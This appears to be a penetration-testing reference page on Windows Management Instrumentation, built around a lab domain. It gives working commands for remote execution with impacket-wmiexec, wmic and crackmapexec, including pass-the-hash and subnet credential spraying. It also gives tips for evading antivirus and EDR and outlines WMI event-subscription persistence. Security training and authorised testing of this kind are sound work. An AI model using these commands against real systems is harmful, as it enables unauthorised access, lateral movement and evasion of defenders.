Skip to content

WMI

WMI (Windows Management Instrumentation) is Microsoft’s local-and-remote system-management framework. Operationally, “WMI” usually means WMI over MS-RPC - a way to remotely query and control Windows hosts using credentials. Where WinRM uses HTTP, WMI uses MS-RPC (TCP 135 for the endpoint mapper, then dynamic high ports for the actual RPC traffic). The classic operator tool is wmiexec.py from Impacket - credentials in, command execution out.

# 1. Service scan
nmap -sV -p135 <target>
# 2. Credentialed shell via Impacket
impacket-wmiexec <user>:'<pass>'@<target>
# 3. Pass-the-hash variant
impacket-wmiexec -hashes :<NT-hash> <user>@<target>
# 4. One-shot command without an interactive shell
impacket-wmiexec <user>:'<pass>'@<target> 'whoami /priv'
# 5. From a Windows host: wmic (deprecated but still installed)
wmic /node:<target> /user:<user> /password:'<pass>' process call create "cmd.exe /c <command>"

Success indicator: impacket-wmiexec returns C:\> prompt, or the one-shot command’s output streams back.

WMI is a CIM (Common Information Model) implementation. CIM is a standardized data model for representing OS-level concepts (processes, files, services, network connections) as queryable, structured objects. WMI translates CIM queries into Windows API calls.

The transports:

ComponentPortPurpose
MS-RPC Endpoint MapperTCP 135First contact - client asks “what port is the WMI service on?”, server answers
WMI RPC interfaceDynamic TCP (typically 49152-65535)The actual WMI traffic after endpoint mapping
SMB named pipesTCP 445Optional - WMI can ride over SMB named pipes instead of dedicated RPC ports

The dynamic port allocation makes WMI somewhat firewall-unfriendly. The two practical approaches:

  1. Open 135 + the entire 49152-65535 range (the lazy enterprise approach)
  2. Pin WMI to a fixed port via registry - possible but rarely done

Most enterprise environments default to #1, with internal segmentation rules permitting RPC traffic between management hosts and the rest of the fleet.

AspectWinRMWMI
TransportHTTP/HTTPS (5985/5986)MS-RPC (135 + dynamic)
AuthNegotiate (NTLM/Kerberos) by defaultNegotiate (NTLM/Kerberos) by default
Detection signatureModern EDR logs PowerShell remoting heavilyWMI activity logged differently - often less aggressively monitored
OutputReal PowerShell promptCommand output via tempfile staging in SMB share
Toolevil-winrm (interactive)wmiexec.py (semi-interactive)
PerformanceLower latency, persistent sessionHigher latency per command

Modern defenders catch both. Older configurations sometimes have one off but not the other - WMI is enabled by default on every Windows host since Windows 2000; WinRM requires explicit configuration. So when you’re cred’d up against a workstation, WMI usually works and WinRM often doesn’t.

The “magic” of wmiexec is straightforward:

  1. Authenticate to the target via MS-RPC using your credentials
  2. Use the WMI Win32_Process class to call Create("cmd.exe /c <command> > C:\windows\temp\output.txt")
  3. The remote command runs, output goes to a file on the target
  4. Connect to the target’s ADMIN$ SMB share, read output.txt
  5. Delete output.txt
  6. Print the contents back to your console

The semi-interactive feel is achieved by repeating steps 2-5 for each line you type. Each command is its own roundtrip, which is why the prompt feels slower than evil-winrm’s persistent session.

The dependency on SMB for output retrieval means:

  • TCP 445 must also be reachable from your attack box
  • Your account needs admin-level read access to ADMIN$ (defaults to local admin / Domain Admin)
  • Output files briefly appear on disk - antivirus and EDR sometimes catch the filename pattern

To execute commands via WMI remotely, the calling account needs:

  1. Remote Enable permission in the root\cimv2 WMI namespace (Administrators have this by default)
  2. Method Execute permission on the Win32_Process class
  3. Access to ADMIN$ for output retrieval (admins have it; non-admin accounts typically don’t)

In practice this means “local admin or higher.” Some specific configurations allow non-admin WMI access to certain namespaces, but command-execution-via-Win32_Process is admin-only by default.

Terminal window
sudo nmap -sV -p135 10.129.14.128
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC

The endpoint mapper itself doesn’t reveal much. To enumerate the registered RPC interfaces, use rpcdump.py from Impacket:

Terminal window
impacket-rpcdump 10.129.14.128 | head -30
Protocol: [MS-WMI]: Windows Management Instrumentation Remote Protocol
Provider: wmiprvse.exe
UUID : 1A417CCE-FDFA-4D54-BAEE-2C36F4E5DD27 v1.0
Bindings:
ncacn_ip_tcp:10.129.14.128[49664]
Protocol: [MS-EVEN6]: EventLog Remoting Protocol Version 6.0
Provider: wevtsvc.dll
UUID : F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C v1.0
Bindings:
ncacn_ip_tcp:10.129.14.128[49675]
Protocol: [MS-LSAT]: Local Security Authority (Translation Methods) Remote Protocol
Provider: lsasrv.dll
UUID : 12345778-1234-ABCD-EF00-0123456789AB v0.0
Bindings:
ncacn_ip_tcp:10.129.14.128[49669]
...

The output lists every RPC interface the host exposes, along with the dynamic ports they’re bound to. For WMI specifically you want [MS-WMI] - the Windows Management Instrumentation Remote Protocol - bound to port 49664 in the example above.

Terminal window
impacket-wmiexec INFREIGHT/Administrator:'P4ssw0rd!'@10.129.14.128
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

The C:\> prompt accepts commands. Each command is a fresh WMI call + SMB read:

C:\>whoami
infreight\administrator
C:\>hostname
DC01
C:\>ipconfig
Windows IP Configuration
...

Limitations of the semi-interactive shell:

  • No interactive sessions - anything that needs stdin won’t work (no nslookup interactive mode, no cmd /k)
  • Working directory persists across commands within the same session (the shell tracks it)
  • Each command has ~1-2s overhead from the WMI + SMB roundtrip

When you don’t need a session, just run one command:

Terminal window
impacket-wmiexec INFREIGHT/Administrator:'P4ssw0rd!'@10.129.14.128 'whoami /priv'

Runs the single command and exits. Useful for scripting (loop over a host list, run a recon command, collect output).

Terminal window
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \

The -hashes argument takes <LMHash>:<NTHash>. Modern Windows has no LM hash so the LM portion is left blank.

Terminal window
# By IP, no domain (local account)
impacket-wmiexec Administrator:'P4ssw0rd!'@10.129.14.128
# By hostname (requires DNS or /etc/hosts mapping)
impacket-wmiexec INFREIGHT/Administrator:'P4ssw0rd!'@dc01.infreight.htb
# Kerberos auth (with TGT cached in KRB5CCNAME)
impacket-wmiexec -k -no-pass INFREIGHT/[email protected]
# Specify a custom destination directory (for output staging) - bypasses some AV
impacket-wmiexec -share C$ -path C:\\Users\\Public INFREIGHT/Administrator:'P4ssw0rd!'@10.129.14.128

-share and -path let you write the temp output file to a non-default location. ADMIN$ → C$ is a minor evasion; some EDR products specifically watch ADMIN$ writes.

wmic is the built-in Windows CLI for WMI. It’s “deprecated” (Microsoft has been saying so since 2016) but still ships in all Windows versions:

Terminal window
wmic /node:10.129.14.128 /user:Administrator /password:"P4ssw0rd!" computersystem list brief
Domain Manufacturer Model Name TotalPhysicalMemory
infreight.htb VMware, Inc. VMware Virtual Platform DC01 4294430720

Command execution via wmic:

Terminal window
wmic /node:10.129.14.128 /user:Administrator /password:"P4ssw0rd!" ^
process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

process call create returns a process handle but doesn’t return stdout - you’d then need a separate read of the output file via SMB. wmiexec.py automates this; wmic doesn’t.

For interactive WMI queries (not command execution), PowerShell’s CIM cmdlets work nicely:

Terminal window
$cred = Get-Credential
# Get OS info
Get-CimInstance -ComputerName 10.129.14.128 -Credential $cred -ClassName Win32_OperatingSystem
# List processes
Get-CimInstance -ComputerName 10.129.14.128 -Credential $cred -ClassName Win32_Process |
Select-Object Name, ProcessId, CommandLine
# List services
Get-CimInstance -ComputerName 10.129.14.128 -Credential $cred -ClassName Win32_Service
# Logged-in user
Get-CimInstance -ComputerName 10.129.14.128 -Credential $cred -ClassName Win32_ComputerSystem |
Select-Object UserName
# List local users (security event log query - admin only)
Get-CimInstance -ComputerName 10.129.14.128 -Credential $cred -ClassName Win32_UserAccount

Each Get-CimInstance query opens a fresh DCOM/WMI session, runs the query, returns objects. Good for one-off recon; less good for executing commands.

Terminal window
crackmapexec wmi 10.129.14.128 -u Administrator -p 'P4ssw0rd!'
# With pass-the-hash
crackmapexec wmi 10.129.14.128 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command via WMI
crackmapexec wmi 10.129.14.128 -u Administrator -p 'P4ssw0rd!' -x 'whoami'
# PowerShell command (preferred for AV evasion via in-memory execution)
crackmapexec wmi 10.129.14.128 -u Administrator -p 'P4ssw0rd!' -X 'whoami'
# Spray across many hosts
crackmapexec wmi 10.0.0.0/24 -u Administrator -H <hash>

-x uses cmd.exe; -X uses PowerShell. Both are WMI under the hood; PowerShell tends to look slightly less suspicious in security logs because PowerShell remoting is “normal admin activity” in many environments.

Subnet credential validation:

  1. crackmapexec wmi 10.0.0.0/24 -u Administrator -H <hash>
  2. Each line of output tells you which hosts the cred works on
  3. Prioritize follow-up by target value (DCs first, then file servers, then user workstations)

WMI when WinRM is firewalled:

  1. Target has 5985 firewalled but 135 + dynamic RPC range allowed (common in legacy networks)
  2. evil-winrm fails, but wmiexec succeeds
  3. Same auth, different transport

WMI persistence - Event Filter to Consumer:

  1. With WMI command exec on a target, install a WMI Event Filter that triggers on a specific event
  2. Bind to a CommandLineEventConsumer that runs your payload
  3. Survives reboots, isn’t visible to most file-based AV
  4. See WMI persistence reference for details - out of scope for footprinting but worth knowing

WMI for stealthy lateral movement:

  1. WMI traffic blends in with normal management activity in many environments
  2. Lacks the prominent “PowerShell Remoting Session Opened” event-log signature of WinRM
  3. Useful when EDR is tuned aggressively on WinRM/PSExec but less so on WMI
TaskCommand
Service scannmap -sV -p135 <target>
RPC interface dumpimpacket-rpcdump <target>
Interactive shell (password)impacket-wmiexec <user>:'<pass>'@<target>
Interactive shell (hash)impacket-wmiexec -hashes :<NT-hash> <user>@<target>
Domain credentialimpacket-wmiexec DOMAIN/user:'<pass>'@<target>
One-shot commandimpacket-wmiexec <user>:'<pass>'@<target> '<command>'
Kerberos authimpacket-wmiexec -k -no-pass DOMAIN/user@<target>
Custom output dirimpacket-wmiexec -share C$ -path C:\\Users\\Public <user>:<pass>@<target>
wmic process create (Windows)wmic /node:<target> /user:<user> /password:"<pass>" process call create "<cmd>"
PowerShell queryGet-CimInstance -ComputerName <target> -Credential $cred -ClassName Win32_Process
Cme cred testcrackmapexec wmi <target> -u <user> -p '<pass>'
Cme exec commandcrackmapexec wmi <target> -u <user> -p '<pass>' -x '<cmd>'
Cme PowerShell execcrackmapexec wmi <target> -u <user> -p '<pass>' -X '<cmd>'
Subnet scancrackmapexec wmi 10.0.0.0/24 -u <user> -H <hash>